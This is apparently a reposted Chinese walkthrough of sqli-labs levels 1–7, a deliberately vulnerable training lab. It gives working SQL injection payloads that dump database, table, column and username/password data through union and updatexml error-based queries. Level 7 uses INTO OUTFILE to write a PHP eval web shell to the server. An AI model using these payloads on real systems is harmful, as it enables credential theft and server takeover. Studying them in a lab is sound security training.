sqllabs1-7sql注入

先在?id参数后面判断是否存在sql注入
id=1     返回正常
id=1'    返回报错(说明可能存在sql注入)
id=1 and 1=1    返回正常
id=1 and 1=2    返回正常
id=1'  and 1=1   报错
id=1'  and 1=2   报错
说明$id后面可能还存在sql语句(源码源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";)(--+是为了注释后面的limit 0,1";)
id=1'   and 1=1  --+  返回正常
id=1'   and 1=2  --+   报错

接下来拿开源靶场测试sqllibs
接上面可以用order by 来字段测试有多少列
?id=1'  order by 1 --+正常
?id=1' order by 3  --+正常
?id=1' order by 4  --+报错
说明这里字段数为3,之后用联合查询union select 拼接
?id=1' and 1=2 union select 1,2,3 --+或者#这里哪个都可以,这里的and 1=2是为了就将正确的id=1'不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3 字段.
可以利用来判断注入点语句如下:?id=1' and 1=2 union select 1,database(),version() --+     得到数据库名以及版本号。
可以查看数据库名:?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+当然这个语句支持的是mysql5.0以上的。当然这里不拘泥于查询information_schema这个数据库名
查看数据库中的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+
或者查询数据库中其他的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
查看表中的字段:?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+
爆出指定字段:?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3 --+

第二关与第一关基本一样就是在?id=1' and 1=1 --+(把' 去掉就行其他查询方式以及原理一样),源码:源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";(这里是数字型注入)    其他流程都和第一关一样

第三关(这里是字符型注入)源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号:          ?id=1') and 1=1 --+   其他流程都和第一关一样


第四关(这里是字符型注入)源码源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其他流程都和第一关一样

第五关:(采取sql盲注)
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里盲注报错有三种,floor updataxml extractvalue,这里我们用updataxml:自定义一个payload:
union select updatexml(1,concat('~',(payload),'~'),3)
判断数据库:union select updatexml(1,concat('~',(database()),'~'),3) --+
判断表名:?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3) --+

判断字段名:?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3) --+

爆出他的字段:?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) --+

第六关字符型注入+盲注    
源码:$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
过程:id闭合需要修改为id=1",其它和Pass-5一样


第七关:字符型注入+盲注
源码:源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
?id=1'))  and 1=2 union select null,'<?php @eval($_REQUEST['111']);?>',null into outfile '一句话路径名' --+


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/768341.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML:常用标签

1. 标签概念 <!-- 五要素&#xff1a; 文档声明<!DOCTYPE html> 根标签<html></html> 头部元素<head></head> 主体元素<body></body> 注释标签 1.html文件的根标签&#xff0c; <html></html>所有其他标签都要放…

yarn、npm设置淘宝国内镜像

NPM 1. 查询当前镜像 npm get registry 2. 设置为淘宝镜像 npm config set registry https://registry.npm.taobao.org/ (旧地址&#xff0c;不再维护&#xff0c;可以使用) npm config set registry https://registry.npmmirror.com/ (最新地址)3. 设置为官…

第三十一章 配置 Web Gateway 的默认参数 - 事件记录参数

文章目录 第三十一章 配置 Web Gateway 的默认参数 - 事件记录参数 第三十一章 配置 Web Gateway 的默认参数 - 事件记录参数 事件日志级别字段指定 Web Gateway 写入 Web Gateway 事件日志的信息。日志记录选项定义为一串字符&#xff0c;每个字符代表一个日志记录命令。此处…

springboot实现简单的excel导入

前文其实已经实现了较为复杂的excel导入了&#xff0c;这篇博客就给大家介绍简单的excel表格导入方法 以下是我的excel表格&#xff1a; 以下是我的实体类&#xff1a; package com.datapojo.bean;import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.m…

直接插入排序 希尔排序 选择排序 堆排序

目录 一. 排序的概念及应用 1.1 排序的概念 1.2 常见的排序算法 二. 常见排序算法的实现(从小到大排序) 2.1 插入排序 2.1.1基本思想&#xff1a; 2.1.2 直接插入排序 2.1.3 希尔排序( 缩小增量排序) 2.2 选择排序 2.2.1基本思想&#xff1a; 2.2.2 直接选择排序: 2…

【Node.js】mysql 操作 MySQL 数据库

实际案例 db/index.js const mysql require(mysql)// 创建数据库的连接 const db mysql.createPool({host: localhost,user: root,password: hxg20021126,database: management-pro })module.exports dbLoginController.js const db require(../db/index) const bcrypt …

动态规划——线性dp

数字三角形 // 从上到下 #include <iostream> #include <algorithm> using namespace std; const int N 510, INF 1e9; int n; int a[N][N]; int f[N][N];int main() {scanf("%d", &n);for (int i 1; i < n; i )for (int j 1; j < i; j …

宝塔面板安装sqlite

宝塔面板是一个非常流行的服务器管理面板&#xff0c;它提供了许多方便的功能来管理服务器和网站。但是&#xff0c;默认情况下&#xff0c;宝塔面板不支持SQLite数据库的安装和管理。SQLite是一个轻量级的嵌入式数据库&#xff0c;它在很多应用程序中被广泛使用。如果你需要在…

计算机组成原理 CPU组成与机器指令执行实验

一、实验目的 (1)将微程序控制器同执行部件( 整个数据通路)联机&#xff0c;组成一台模型计算机; (2)用微程序控制器控制模型机数据通路; (3)通过CPU运行九条机器指令(排除中断指令)组成的简单程序&#xff0c;掌握机器指令与微指令的关系&#xff0c;牢固建立计算机的整机概…

深度学习pytorch——2D函数优化实例(持续更新)

课程&#xff1a;课时46 优化问题实战_哔哩哔哩_bilibili 这就是我们今天要求的2D函数&#xff1a; 下图是使用python绘制出来的图像&#xff1a; 但是可以看出有4个最小值&#xff0c;但是还是不够直观&#xff0c;还是看课程里面给的比较好&#xff0c;蓝色是最低点位置&am…

Python 全栈系列236 rabbit_agent搭建

说明 通过rabbit_agent, 以接口方式实现对队列的标准操作&#xff0c;将pika包在微服务内&#xff0c;而不必在太多地方重复的去写。至少在服务端发布消息时&#xff0c;不必再去考虑这些问题。 在分布式任务的情况下&#xff0c;客户端本身会启动一个持续监听队列的客户端服…

动态规划16 | ● 583. 两个字符串的删除操作 ● *72. 编辑距离

583. 两个字符串的删除操作 https://programmercarl.com/0583.%E4%B8%A4%E4%B8%AA%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E5%88%A0%E9%99%A4%E6%93%8D%E4%BD%9C.html 考点 子序列问题 我的思路 dp[i][j]的含义是&#xff0c;当两个字符串分别取前i和j个元素时&#xff0c;对应…

路由相关基本概念(IP入门)

IP协议--网络层--路由器、三层交换机&#xff08;冗余备份&#xff09; 路由器的功能&#xff1a; 1、构建和维护路由表 2、根据路由表进行转发 3、路由器接口划分广播域 路由--实现路由的设备&#xff08;路由器、多层交换机&#xff09; 协议&#xff1a;定义一种语言 路…

Django(一)- 环境搭建和快速入门

一、搭建环境 1、创建Python虚拟环境 (base) C:\Users\35351>conda create -n django_study python3.9 2、安装Django (django_study) C:\Users\35351>pip install Django >> 查看安装版本 (django_study) C:\Users\35351>python -m django --version 3、安…

数据分析与挖掘

数据起源&#xff1a; 规模庞大&#xff0c;结构复杂&#xff0c;难以通过现有商业工具和技术在可容忍的时间内获取、管理和处理的数据集。具有5V特性&#xff1a;数量&#xff08;Volume&#xff09;&#xff1a;数据量大、多样性&#xff08;Variety&#xff09;&#xff1a…

CSS(二)

一、CSS 的复合选择器 1.1 什么是复合选择器 在 CSS 中&#xff0c;可以根据选择器的类型把选择器分为基础选择器和复合选择器&#xff0c;复合选择器是建立在基础选择器之上&#xff0c;对基本选择器进行组合形成的。 复合选择器可以更准确、更高效的选择目标元素&#xff…

Mockito.when返回的list长度为0问题解决方法

今天玩Mockito.when遇见一个问题Mockito.when返回的list长度为0&#xff1b;上代码 ArrayList<Org> childDepts new ArrayList<>();Org org new Org();org.setDeptId("1");org.setDeptName("1");childDepts.add(org); Mockito.when(orgMappe…

系统设计之缓存(Caches)和内容分发网络(CDNs)设计

系统设计之缓存(Caches)和内容分发网络(CDNs)设计 目录 系统设计之缓存(Caches)和内容分发网络(CDNs)设计缓存不同的缓存策略1. 浏览器缓存缓存命中和缓存未命中2. 服务器缓存缓存失效淘汰策略:缓存的决策制定者自适应策略自定义策略淘汰策略的影响3. 数据库缓存实现工…

OC对象 - 关联对象(如何给分类添加成员变量)

文章目录 OC对象 - 关联对象&#xff08;如何给分类添加成员变量&#xff09;1. 基本使用1.1 提供的API1.1.1 添加关联对象1.1.2 获得关联对象1.1.3 移除所有关联对象1.1.3 修饰符 1.2 使用方法1.2 Key的常见用法1.2.1 使用的get方法的selecor作为key1.2.2 使用指针的地址作为k…

100 天机器学习指南

100 天机器学习指南 除了机器学习专栏&#xff0c;我们打算出另外一期专栏&#xff0c;叫做100 天机器学习指南&#xff0c;目标是通过100天的深入持续学习&#xff0c;让我们没有机器学习经验的人&#xff0c;也可以从事简单的机器学习工作&#xff0c;为职业生涯寻找增长点&…